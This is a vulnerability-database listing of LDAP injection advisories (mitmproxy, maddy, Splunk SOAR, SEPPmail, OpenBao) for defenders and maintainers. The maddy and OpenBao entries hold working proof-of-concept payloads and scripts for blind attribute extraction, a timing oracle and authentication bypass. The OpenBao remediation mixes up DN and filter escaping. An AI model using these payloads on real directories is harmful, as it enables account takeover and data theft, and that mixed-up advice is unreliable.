Common Weakness Enumeration

CWE-90

Allowed

Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Abstraction: Base · Status: Draft

API response cwe.mitre.org

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

138 vulnerabilities reference this CWE, most recent first.

GHSA-527G-3W9M-29HV

Vulnerability from github – Published: 2026-04-14 01:08 – Updated: 2026-06-06 00:58
VLAI
Summary
mitmproxy has an LDAP Injection
Details

Impact

In mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication.

Only mitmproxy instances using the proxyauth option with LDAP are affected. This option is not enabled by default.

Patches

The vulnerability has been fixed in mitmproxy 12.2.2 and above.

Acknowledgements

We thank Yue (Knox) Liu (@yueyueL) for responsibly disclosing this vulnerability to the mitmproxy team.

Timeline

  • 2025-12-08: Received initial report.
  • 2025-12-09: Verified report and confirmed receipt.
  • 2026-01-02: Informed researcher that patch will be part of the next regular patch release.
  • 2026-04-12: Published patch release and advisory.
Severity
4.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.2.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mitmproxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "12.2.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T01:08:52Z",
    "nvd_published_at": "2026-04-21T18:16:52Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nIn mitmproxy 12.2.1 and below, the builtin LDAP proxy authentication does not correctly sanitize the username when querying the LDAP server. This allows a malicious client to bypass authentication.\n\nOnly mitmproxy instances using the `proxyauth` option with LDAP are affected. This option is not enabled by default.\n\n### Patches\n\nThe vulnerability has been fixed in mitmproxy 12.2.2 and above.\n\n### Acknowledgements\n\nWe thank Yue (Knox) Liu (@yueyueL) for responsibly disclosing this vulnerability to the mitmproxy team.\n\n### Timeline\n\n- **2025-12-08**: Received initial report. \n- **2025-12-09**: Verified report and confirmed receipt.\n- **2026-01-02**: Informed researcher that patch will be part of the next regular patch release.\n- **2026-04-12**: Published patch release and advisory.",
  "id": "GHSA-527g-3w9m-29hv",
  "modified": "2026-06-06T00:58:36Z",
  "published": "2026-04-14T01:08:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mitmproxy/mitmproxy/security/advisories/GHSA-527g-3w9m-29hv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40606"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mitmproxy/mitmproxy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mitmproxy/PYSEC-2026-92.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "mitmproxy has an LDAP Injection"
}

GHSA-5835-4GVC-32PC

Vulnerability from github – Published: 2026-04-13 19:22 – Updated: 2026-04-16 21:57
VLAI
Summary
Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username
Details

Summary

The auth.ldap module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via strings.ReplaceAll() without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The go-ldap/ldap/v3 library—already imported in the same file—provides ldap.EscapeFilter() specifically for this purpose, but it is never called.

Patched version

Upgrade to maddy 0.9.3.

Details

Affected file: internal/auth/ldap/ldap.go

Three locations substitute the raw, attacker-controlled username into LDAP filter or DN strings with no escaping:

1. Lookup() — line 228 (filter injection)

func (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {
    // ...
    req := ldap.NewSearchRequest(
        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
        2, 0, false,
        strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
        []string{"dn"}, nil)

2. AuthPlain() — line 255 (DN template injection)

func (a *Auth) AuthPlain(username, password string) error {
    // ...
    if a.dnTemplate != "" {
        userDN = strings.ReplaceAll(a.dnTemplate, "{username}", username)  // <-- NO ESCAPING

3. AuthPlain() — line 260 (filter injection)

    } else {
        req := ldap.NewSearchRequest(
            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,
            2, 0, false,
            strings.ReplaceAll(a.filterTemplate, "{username}", username),  // <-- NO ESCAPING
            []string{"dn"}, nil)

The go-ldap/ldap/v3 library (v3.4.10, imported at line 17) provides ldap.EscapeFilter() which escapes (, ), *, \, and NUL per RFC 4515. It is never called on user input.

No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.

PoC

Prerequisites: - A maddy instance configured with auth.ldap using a filter directive - An LDAP directory (e.g., OpenLDAP) with at least one user - Network access to maddy's SMTP submission port (587) or IMAP port (993/143)

Step 1: Vulnerable maddy configuration

auth.ldap ldap_auth {
    urls ldap://ldapserver:389
    bind plain "cn=admin,dc=example,dc=org" "adminpassword"
    base_dn "ou=people,dc=example,dc=org"
    filter "(&(objectClass=inetOrgPerson)(uid={username}))"
}

submission tcp://0.0.0.0:587 {
    auth &ldap_auth
    # ...
}

Assume the LDAP directory contains users alice (password: alice_pass) and bob (password: bob_pass).

Step 2: Verify normal authentication works

# Encode AUTH PLAIN: \x00alice\x00alice_pass
AUTH_BLOB=$(printf '\x00alice\x00alice_pass' | base64)

# Connect via SMTP submission with STARTTLS
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# Expected: 235 Authentication succeeded

Step 3: Boolean-based blind LDAP injection (attribute extraction)

An attacker who holds valid credentials for any one account can extract that account's LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.

# Scenario: attacker knows bob's password ("bob_pass").
# Goal: extract bob's "description" attribute value one character at a time.
#
# Injected username: bob)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=bob)(description=S*))
#
# If bob's description starts with "S" → filter matches 1 entry (bob)
#   → conn.Bind(bob_DN, "bob_pass") succeeds → 235 (SUCCESS)
# If not → filter matches 0 entries → 535 (FAILURE)
#
# By iterating characters, the attacker reconstructs the full attribute value.

# Test: does bob's description start with "S"?
INJECTED='bob)(description=S*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet <<EOF
EHLO test
AUTH PLAIN $AUTH_BLOB
QUIT
EOF
# 235 → yes, starts with "S"

# Narrow: does it start with "Se"?
INJECTED='bob)(description=Se*'
AUTH_BLOB=$(printf "\x00${INJECTED}\x00bob_pass" | base64)
# ... repeat until full value is extracted

# This works for ANY LDAP attribute: userPassword hashes, mail,
# telephoneNumber, memberOf, etc.

For extracting attributes of other users (whose password the attacker does not know), a timing side-channel is used instead. The AuthPlain() function has two distinct failure paths:

  • 0 entries matched (line 270): returns ErrUnknownCredentials immediately — fast
  • 1 entry matched, bind fails (line 275): performs conn.Bind() over the network, then returns — slow (adds LDAP bind round-trip latency)

Both return SMTP 535, but the timing difference is measurable:

# Target: extract alice's "description" attribute.
# Attacker does NOT know alice's password.
#
# Injected username: alice)(description=S*
# Resulting filter:  (&(objectClass=inetOrgPerson)(uid=alice)(description=S*))
#
# If alice's description starts with "S":
#   → 1 match → conn.Bind(alice_DN, "wrong") → bind fails → 535 (SLOW)
# If not:
#   → 0 matches → immediate 535 (FAST)
#
# Timing delta ≈ LDAP bind RTT (typically 1-10ms on LAN, more over WAN)

for c in {a..z} {A..Z} {0..9}; do
    INJECTED="alice)(description=${c}*"
    AUTH_BLOB=$(printf "\x00${INJECTED}\x00wrong" | base64)
    START=$(date +%s%N)
    echo -e "EHLO test\r\nAUTH PLAIN ${AUTH_BLOB}\r\nQUIT\r\n" | \
        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2>/dev/null
    END=$(date +%s%N)
    ELAPSED=$(( (END - START) / 1000000 ))
    echo "char='$c' time=${ELAPSED}ms"
done
# Characters with significantly longer response times indicate a filter match.

Impact

Who is affected: Any maddy deployment that uses the auth.ldap module with either the filter or dn_template directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.

What an attacker can do:

  1. Identity spoofing: An attacker who knows any valid user's password can authenticate using an injected username that resolves to that user's DN via LDAP filter manipulation. The authenticated session identity (connState.AuthUser in SMTP, username passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.

  2. LDAP directory enumeration: By injecting wildcard filters (*) and observing error responses (e.g., "too many entries" vs. "unknown credentials"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.

  3. Attribute value extraction via boolean-based blind injection: An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., bob)(description=X*) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.

  4. DN template path traversal: When dn_template is used instead of filter (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.

Credit

Yuheng Zhang, Zihan Zhang, Jianjun Chen and Teatime Lab LTD.

Severity
8.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/foxcpp/maddy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-13T19:22:52Z",
    "nvd_published_at": "2026-04-16T00:16:28Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe `auth.ldap` module constructs LDAP search filters and DN strings by directly interpolating user-supplied usernames via `strings.ReplaceAll()` without any LDAP filter escaping. An attacker who can reach the SMTP submission (AUTH PLAIN) or IMAP LOGIN interface can inject arbitrary LDAP filter expressions through the username field, enabling identity spoofing, LDAP directory enumeration, and attribute value extraction. The `go-ldap/ldap/v3` library\u2014already imported in the same file\u2014provides `ldap.EscapeFilter()` specifically for this purpose, but it is never called.\n\n### Patched version\n\nUpgrade to maddy 0.9.3.\n\n### Details\n\n**Affected file:** `internal/auth/ldap/ldap.go`\n\nThree locations substitute the raw, attacker-controlled `username` into LDAP filter or DN strings with no escaping:\n\n**1. `Lookup()` \u2014 line 228 (filter injection)**\n\n```go\nfunc (a *Auth) Lookup(_ context.Context, username string) (string, bool, error) {\n    // ...\n    req := ldap.NewSearchRequest(\n        a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n        2, 0, false,\n        strings.ReplaceAll(a.filterTemplate, \"{username}\", username),  // \u003c-- NO ESCAPING\n        []string{\"dn\"}, nil)\n```\n\n**2. `AuthPlain()` \u2014 line 255 (DN template injection)**\n\n```go\nfunc (a *Auth) AuthPlain(username, password string) error {\n    // ...\n    if a.dnTemplate != \"\" {\n        userDN = strings.ReplaceAll(a.dnTemplate, \"{username}\", username)  // \u003c-- NO ESCAPING\n```\n\n**3. `AuthPlain()` \u2014 line 260 (filter injection)**\n\n```go\n    } else {\n        req := ldap.NewSearchRequest(\n            a.baseDN, ldap.ScopeWholeSubtree, ldap.NeverDerefAliases,\n            2, 0, false,\n            strings.ReplaceAll(a.filterTemplate, \"{username}\", username),  // \u003c-- NO ESCAPING\n            []string{\"dn\"}, nil)\n```\n\nThe `go-ldap/ldap/v3` library (v3.4.10, imported at line 17) provides `ldap.EscapeFilter()` which escapes `(`, `)`, `*`, `\\`, and NUL per RFC 4515. It is never called on user input.\n\n**No input validation or filter escaping occurs at any point from the protocol handler to the LDAP query.**\n\n### PoC\n\n**Prerequisites:**\n- A maddy instance configured with `auth.ldap` using a `filter` directive\n- An LDAP directory (e.g., OpenLDAP) with at least one user\n- Network access to maddy\u0027s SMTP submission port (587) or IMAP port (993/143)\n\n**Step 1: Vulnerable maddy configuration**\n\n```\nauth.ldap ldap_auth {\n    urls ldap://ldapserver:389\n    bind plain \"cn=admin,dc=example,dc=org\" \"adminpassword\"\n    base_dn \"ou=people,dc=example,dc=org\"\n    filter \"(\u0026(objectClass=inetOrgPerson)(uid={username}))\"\n}\n\nsubmission tcp://0.0.0.0:587 {\n    auth \u0026ldap_auth\n    # ...\n}\n```\n\nAssume the LDAP directory contains users `alice` (password: `alice_pass`) and `bob` (password: `bob_pass`).\n\n**Step 2: Verify normal authentication works**\n\n```bash\n# Encode AUTH PLAIN: \\x00alice\\x00alice_pass\nAUTH_BLOB=$(printf \u0027\\x00alice\\x00alice_pass\u0027 | base64)\n\n# Connect via SMTP submission with STARTTLS\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet \u003c\u003cEOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# Expected: 235 Authentication succeeded\n```\n\n**Step 3: Boolean-based blind LDAP injection (attribute extraction)**\n\nAn attacker who holds valid credentials for any one account can extract that account\u0027s LDAP attributes character by character, using the authentication result (235 vs 535) as a boolean oracle.\n\n```bash\n# Scenario: attacker knows bob\u0027s password (\"bob_pass\").\n# Goal: extract bob\u0027s \"description\" attribute value one character at a time.\n#\n# Injected username: bob)(description=S*\n# Resulting filter:  (\u0026(objectClass=inetOrgPerson)(uid=bob)(description=S*))\n#\n# If bob\u0027s description starts with \"S\" \u2192 filter matches 1 entry (bob)\n#   \u2192 conn.Bind(bob_DN, \"bob_pass\") succeeds \u2192 235 (SUCCESS)\n# If not \u2192 filter matches 0 entries \u2192 535 (FAILURE)\n#\n# By iterating characters, the attacker reconstructs the full attribute value.\n\n# Test: does bob\u0027s description start with \"S\"?\nINJECTED=\u0027bob)(description=S*\u0027\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\nopenssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet \u003c\u003cEOF\nEHLO test\nAUTH PLAIN $AUTH_BLOB\nQUIT\nEOF\n# 235 \u2192 yes, starts with \"S\"\n\n# Narrow: does it start with \"Se\"?\nINJECTED=\u0027bob)(description=Se*\u0027\nAUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00bob_pass\" | base64)\n# ... repeat until full value is extracted\n\n# This works for ANY LDAP attribute: userPassword hashes, mail,\n# telephoneNumber, memberOf, etc.\n```\n\nFor extracting attributes of **other users** (whose password the attacker does not know), a timing side-channel is used instead. The `AuthPlain()` function has two distinct failure paths:\n\n- **0 entries matched** (line 270): returns `ErrUnknownCredentials` immediately \u2014 **fast**\n- **1 entry matched, bind fails** (line 275): performs `conn.Bind()` over the network, then returns \u2014 **slow** (adds LDAP bind round-trip latency)\n\nBoth return SMTP `535`, but the timing difference is measurable:\n\n```bash\n# Target: extract alice\u0027s \"description\" attribute.\n# Attacker does NOT know alice\u0027s password.\n#\n# Injected username: alice)(description=S*\n# Resulting filter:  (\u0026(objectClass=inetOrgPerson)(uid=alice)(description=S*))\n#\n# If alice\u0027s description starts with \"S\":\n#   \u2192 1 match \u2192 conn.Bind(alice_DN, \"wrong\") \u2192 bind fails \u2192 535 (SLOW)\n# If not:\n#   \u2192 0 matches \u2192 immediate 535 (FAST)\n#\n# Timing delta \u2248 LDAP bind RTT (typically 1-10ms on LAN, more over WAN)\n\nfor c in {a..z} {A..Z} {0..9}; do\n    INJECTED=\"alice)(description=${c}*\"\n    AUTH_BLOB=$(printf \"\\x00${INJECTED}\\x00wrong\" | base64)\n    START=$(date +%s%N)\n    echo -e \"EHLO test\\r\\nAUTH PLAIN ${AUTH_BLOB}\\r\\nQUIT\\r\\n\" | \\\n        openssl s_client -connect 127.0.0.1:587 -starttls smtp -quiet 2\u003e/dev/null\n    END=$(date +%s%N)\n    ELAPSED=$(( (END - START) / 1000000 ))\n    echo \"char=\u0027$c\u0027 time=${ELAPSED}ms\"\ndone\n# Characters with significantly longer response times indicate a filter match.\n```\n\n### Impact\n\n**Who is affected:** Any maddy deployment that uses the `auth.ldap` module with either the `filter` or `dn_template` directive. Both SMTP submission (AUTH PLAIN) and IMAP (LOGIN) authentication are affected.\n\n**What an attacker can do:**\n\n1. **Identity spoofing:** An attacker who knows any valid user\u0027s password can authenticate using an injected username that resolves to that user\u0027s DN via LDAP filter manipulation. The authenticated session identity (`connState.AuthUser` in SMTP, `username` passed to IMAP storage lookup) is the raw injected string, not the actual LDAP user. This can bypass username-based authorization policies downstream.\n\n2. **LDAP directory enumeration:** By injecting wildcard filters (`*`) and observing error responses (e.g., \"too many entries\" vs. \"unknown credentials\"), an attacker can determine the number of users, probe for the existence of specific accounts, and discover directory structure.\n\n3. **Attribute value extraction via boolean-based blind injection:** An attacker who holds valid credentials for any one LDAP account can inject additional filter conditions (e.g., `bob)(description=X*`) that turn the authentication response into a boolean oracle, and the same technique works via a timing side-channel.\n\n4. **DN template path traversal:** When `dn_template` is used instead of `filter` (line 255), injected characters can manipulate the DN structure, potentially targeting entries in different organizational units or directory subtrees.\n\n### Credit\n\n[Yuheng Zhang](mailto:zhangyuh25@mails.tsinghua.edu.cn), [Zihan Zhang](mailto:zzh1032@sjtu.edu.cn), [Jianjun Chen](mailto:jianjun@tsinghua.edu.cn) and [Teatime Lab LTD.](mailto:research@teatimelab.com)",
  "id": "GHSA-5835-4gvc-32pc",
  "modified": "2026-04-16T21:57:25Z",
  "published": "2026-04-13T19:22:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/foxcpp/maddy/security/advisories/GHSA-5835-4gvc-32pc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40193"
    },
    {
      "type": "WEB",
      "url": "https://github.com/foxcpp/maddy/commit/6a06337eb41fa87a35697366bcb71c3c962c44ba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/foxcpp/maddy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/foxcpp/maddy/releases/tag/v0.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Maddy Mail Server has an LDAP Filter Injection via Unsanitized Username"
}

GHSA-5G3M-GVFM-WFX3

Vulnerability from github – Published: 2026-08-20 00:35 – Updated: 2026-08-20 00:35
VLAI
Details

In versions below 2.3.8 of the AD LDAP app for Splunk SOAR, a user who holds a role with permission to run actions could inject crafted input into an Active Directory query to enumerate Active Directory objects, including accounts, groups, and organizational units, read sensitive attributes from arbitrary directory objects, and redirect account modification actions to unintended objects. For more information see Run an action in Splunk SOAR (https://help.splunk.com/en/splunk-soar/soar-on-premises/use-splunk-soar-on-premises/8.6.0/use-the-command-line-interface-to-perform-tasks-in-splunk-soar-on-premises/run-an-action-in-splunk-soar-on-premises).

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-76373"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T22:17:23Z",
    "severity": "MODERATE"
  },
  "details": "In versions below 2.3.8 of the AD LDAP app for Splunk SOAR, a user who holds a role with permission to run actions could inject crafted input into an Active Directory query to enumerate Active Directory objects, including accounts, groups, and organizational units, read sensitive attributes from arbitrary directory objects, and redirect account modification actions to unintended objects. For more information see Run an action in Splunk SOAR (https://help.splunk.com/en/splunk-soar/soar-on-premises/use-splunk-soar-on-premises/8.6.0/use-the-command-line-interface-to-perform-tasks-in-splunk-soar-on-premises/run-an-action-in-splunk-soar-on-premises).",
  "id": "GHSA-5g3m-gvfm-wfx3",
  "modified": "2026-08-20T00:35:03Z",
  "published": "2026-08-20T00:35:03Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76373"
    },
    {
      "type": "WEB",
      "url": "https://advisory.splunk.com/advisories/SVD-2026-0806"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-69RR-JVGQ-G678

Vulnerability from github – Published: 2026-04-02 09:30 – Updated: 2026-04-16 21:31
VLAI
Details

SEPPmail Secure Email Gateway before version 15.0.3 allows attackers with a specially crafted email address to read the contents of emails encrypted for other users.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-29131"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-02T09:16:21Z",
    "severity": "MODERATE"
  },
  "details": "SEPPmail Secure Email Gateway before version 15.0.3 allows attackers with a specially crafted email address to read the contents of emails encrypted for other users.",
  "id": "GHSA-69rr-jvgq-g678",
  "modified": "2026-04-16T21:31:09Z",
  "published": "2026-04-02T09:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29131"
    },
    {
      "type": "WEB",
      "url": "https://downloads.seppmail.com/extrelnotes/150/ERN15.0.html#seppmail-vulnerability-disclosure-1503"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6MWX-4547-5VC9

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42
VLAI
Summary
OpenBao: LDAPi ldaputil (wrong escape func)
Details

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
                              ^^ injection point

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to: - sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

  • LDAP authentication backend must be configured
  • Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
  • Attacker controls the username field at login time

2. Proof of Concept

# Login with LDAP injection payload as username
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice)(sAMAccountName=*",
    "password": "anything"
  }' \
  https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
#                   injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

Impact Detail
Confidentiality Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity
Integrity Ability to modify secrets, write policies, or configure backends as the impersonated user
Availability Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.

4. Remediation

Primary Fix: Use ldap.EscapeFilter

Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:

import "github.com/go-ldap/ldap/v3"

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)

EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.

Audit: All Call Sites

Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:

grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/

Defense-in-Depth

  • Apply the principle of least privilege to LDAP service accounts used by OpenBao
  • Use UserFilter with explicit attribute constraints to limit the search scope
Severity
6.8 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "last_affected": "2.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260617104213-10b7825c714c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## 1. Description\n\n### Component\n\n`sdk/helper/ldaputil/client.go` \u2014 the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.\n\n### Root Cause\n\nThe LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`:\n\n```go\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", EscapeLDAPValue(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)\n```\n\nThe problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `\"`, `\\`, `\u003c`, `\u003e`, and leading/trailing spaces.\n\nLDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\\`, and NUL (`\\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package.\n\nThe irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function.\n\n### Exploitation Mechanics\n\n```\nUsername: alice)(objectClass=*\n\u2193 EscapeLDAPValue (no-op \u2014 no DN special chars)\nalice)(objectClass=*\n\u2193 fmt.Sprintf(\"(\u0026(objectClass=user)(sAMAccountName=%s))\", escapedUsername)\n(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))\n                              ^^ injection point\n```\n\nThe filter 